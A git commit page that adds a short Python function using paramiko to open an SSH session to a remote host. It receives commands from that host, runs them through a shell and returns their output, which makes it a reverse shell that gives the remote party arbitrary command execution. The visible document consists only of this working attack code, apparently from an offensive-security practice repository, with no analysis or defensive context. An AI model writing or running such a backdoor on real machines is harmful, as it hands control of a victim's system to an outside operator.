cleanup names for dirs

This commit is contained in:
bt3gl 2022-03-23 18:32:49 +04:00
parent 0904ec1dc4
commit 0da3cbd74a
80 changed files with 62 additions and 2263 deletions

View file

@ -0,0 +1,16 @@
def ssh_client(ip, port, user, passwd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print(ssh_session.recv(1024))
while 1:
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()